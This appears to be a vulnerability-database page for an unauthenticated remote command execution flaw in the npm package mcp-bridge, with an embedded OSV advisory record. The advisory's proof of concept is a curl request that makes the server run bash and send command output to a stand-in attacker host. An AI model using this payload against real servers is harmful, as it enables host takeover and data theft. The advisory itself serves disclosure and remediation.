Vulnerabilities in pkg:npm/mcp-bridge
PACKAGEGHSA-wvr4-3wq4-gpc5 is a CRITICAL (CVSS 9.8) mcp connect has unauthenticated remote vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Mcp bridge libraries in the npm ecosystem. The issue involves mcp connect has unauthenticated remote os command execution via /bridge endpoint. Remediation is available in the latest vendor maintenance releases.
pkg:npm/mcp-bridge
Vulnerability advisories affecting package pkg:npm/mcp-bridge. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-wvr4-3wq4-gpc5 | - | CRITICAL | MCP Connect has unauthenticated remote OS command execution via /bridge endpoint |
GHSA-wvr4-3wq4-gpc5 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix GHSA-wvr4-3wq4-gpc5
To remediate this vulnerability, upgrade all affected Mcp bridge dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install mcp-bridge@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls mcp-bridge
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-wvr4-3wq4-gpc5, inspect your project dependencies using npm:
npm ls mcp-bridge
Analyze the terminal output to locate any version of Mcp bridge in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls mcp-bridge command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Mcp bridge, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-wvr4-3wq4-gpc5 Affected Mcp bridge Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mcp-bridge
|
npm |
≤ 2.0.0
|
|
References
Frequently Asked Questions
What is GHSA-wvr4-3wq4-gpc5?
Which Mcp bridge versions are affected?
What version fixes GHSA-wvr4-3wq4-gpc5?
Is mcp-bridge affected?
What is the CVSS score of GHSA-wvr4-3wq4-gpc5?
What CWE is associated with GHSA-wvr4-3wq4-gpc5?
How can I check npm dependencies for GHSA-wvr4-3wq4-gpc5?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wvr4-3wq4-gpc5",
"modified" : "2026-03-19T12:51:28Z",
"published" : "2026-03-19T12:51:28Z",
"aliases" : [ ],
"summary" : "MCP Connect has unauthenticated remote OS command execution via /bridge endpoint",
"details" : "### Summary\nWhen _AUTH_TOKEN_ and _ACCESS_TOKEN_ environment variables are not set (which is the default out-of-the-box configuration) the _/bridge_ HTTP endpoint is completely unauthenticated. Any network-accessible caller can POST a request with an attacker-controlled serverPath and args payload, causing the server to spawn an arbitrary OS process as the user running mcp-bridge. This results in full remote code execution on the host without any credentials.\n\n### Details\n**Root cause 1 - Authentication not enforced when token is absent**\n_src/config/config.ts_ line 161 sets authToken to an empty string when neither environment variable is configured:\n```\nauthToken: process.env.AUTH_TOKEN || process.env.ACCESS_TOKEN || '',\n```\nThe auth middleware in _src/server/http-server.ts_ lines 118–141 wraps all enforcement in if (_this.accessToken_). Because an empty string is falsy in JavaScript, the entire block is skipped and next() is called unconditionally for every request:\n```\nif (this.accessToken) { \n// ... token validation - never reached when token is ''}\nnext(); // always reached in default config\n```\nThe only consequence of a missing token is a log warning (line 42–43). The server starts and serves requests normally.\n\n**Root cause 2 - _/bridge_ spawns arbitrary processes from request body input**\n_src/server/http-server.ts_ lines 194 and 218/227 extract _serverPath_ and _args_ directly from the untrusted JSON body and pass them to _MCPClientManager.createClient()_ without any validation:\n```\nconst { serverPath, method, params, args, env } = req.body;\n// ...\nclientId = await this.mcpClient.createClient(serverPath, args, env);\n```\n_src/client/mcp-client-manager.ts_ lines 68–75 fall through to _StdioClientTransport_ for any value that is not a valid HTTP/WS URL, using _serverPath_ as the executable command verbatim:\n```\ntransport = new StdioClientTransport({ \ncommand: serverPath, \nargs: args || [], \nenv: { ...getDefaultEnvironment(), ...(env || {}) }\n});\n```\nThere is no allow-list, no path restriction, and no sanitization. Any binary reachable from the server's PATH (including bash, sh, python, node, etc) can be invoked with arbitrary arguments.\n\n#### Exposure surface\nExpress's _app.listen(port)_ binds to all interfaces _(0.0.0.0)_ by default, making the service immediately reachable over the network on any cloud VM or container. The project additionally ships an explicit _start:tunnel_ npm script that uses ngrok to publish the server to a public internet URL, maximising the attack surface.\n\n### PoC\nStart the server with no auth token configured (the default):\n```\nnpm run build && npm start\n# No AUTH_TOKEN set — server starts on port 3000, all interfaces\n```\nSend a crafted request from any machine that can reach port 3000:\n```\ncurl -X POST http://<host>:3000/bridge \\ \n-H 'Content-Type: application/json' \\ \n-d '{ \n\"serverPath\": \"bash\", \n\"args\": [\"-lc\", \"id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil\"], \n\"method\": \"tools/list\", \n\"params\": {} \n}'\n```\nThe server spawns _bash_ as the _mcp-bridge_ process user. The command executes, the file is written, and the HTTP response will contain the error from the MCP handshake failing (but the payload has already run).\nFor internet-exposed instances (tunnel mode), replace _<host>_ with the ngrok public URL.\n\n### Impact\nAny unauthenticated attacker with network access to the server can execute arbitrary OS commands as the user running _mcp-bridge._ This permits full host compromise including: credential and secret theft from the environment, installation of persistent backdoors, lateral movement to internal systems, and complete data destruction.\nDeployments most at risk are:\n\n- Instances started with _npm run start:tunnel_ or _npm run dev:tunnel_ (direct internet exposure via ngrok)\n- Any instance running on a cloud VM, container, or host without a network firewall restricting port 3000\n\nThe vulnerability is trivially exploitable with a single curl command and requires no prior knowledge of the target beyond its IP address and port.\n\n\n### Remediation\n\n1. Treat a missing _AUTH_TOKEN_ as a fatal startup error. Replace the warning at _http-server.ts:41–43_ with a thrown exception so the server refuses to start without a configured secret.\n2. Invert the auth guard logic. Deny all requests when _authToken_ is empty rather than allowing them.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "mcp-bridge"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/EvalsOne/MCP-connect/security/advisories/GHSA-wvr4-3wq4-gpc5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/EvalsOne/MCP-connect"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-19T12:51:28Z",
"nvd_published_at" : null
}
}